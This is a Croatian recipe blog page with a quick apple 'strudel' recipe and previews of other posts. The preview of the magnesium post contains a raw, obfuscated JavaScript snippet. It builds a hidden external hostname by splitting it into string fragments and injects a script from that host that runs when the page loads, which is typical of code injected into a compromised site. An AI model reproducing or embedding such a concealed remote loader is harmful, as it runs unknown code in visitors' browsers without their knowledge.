LAŽNA ŠTRUDLA OD JABUKA




Lažna štrudla od jabuka 



Miris domaće štrudle od jabuka mnogima je sinonim za djetinjstvo, ali rijetki će se usred radnog tjedna upustiti u razvlačenje tijesta ili pripremu nekoliko slojeva tankih kora. Zato sve više ljudi priprema jednostavniju verziju koja zadržava poznati okus, ali traži znatno manje vremena i truda. Umjesto klasičnih kora koristi se podloga od sastojaka koje većina već ima kod kuće, dok glavnu ulogu preuzima bogat nadjev od jabuka.





Lažna štrudla od jabuka 


Sastojci:

  • 4 do 5 većih jabuka
  • 3 jaja
  • 200 g kiselog vrhnja ili grčkog jogurta
  • 100 ml mlijeka
  • 3 žlice griza
  • 2 vrećice vanilin šećera
  • 1 žličica cimeta
  • šećer po želji
  • piškote ili tost kruh bez korice


Priprema:

Pripremite nadjev
Naribajte jabuke, lagano ih ocijedite pa dodajte cimet, vanilin šećer, šećer po želji i griz koji će upiti višak soka tijekom pečenja.
 
2. Složite podlogu
Maslacem premažite vatrostalnu posudu pa na dno posložite piškote ili tost kruh bez korice tako da prekriju cijelu površinu.
 
3. Dodajte smjesu
Preko podloge rasporedite sav nadjev od jabuka. Posebno umutite jaja, kiselo vrhnje i mlijeko pa dobivenom smjesom ravnomjerno prelijte cijeli desert.
 
4. Ispecite
Pecite u pećnici zagrijanoj na 180 °C oko 30 minuta, odnosno dok površina ne dobije lijepu zlatnu boju.
 
Pospite šećerom u prahu i poslužite mlako ili potpuno ohlađeno.
 
Rezultat je mekan, sočan desert bogat jabukama koji se priprema bez razvlačenja tijesta i puno brže od klasične štrudle.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više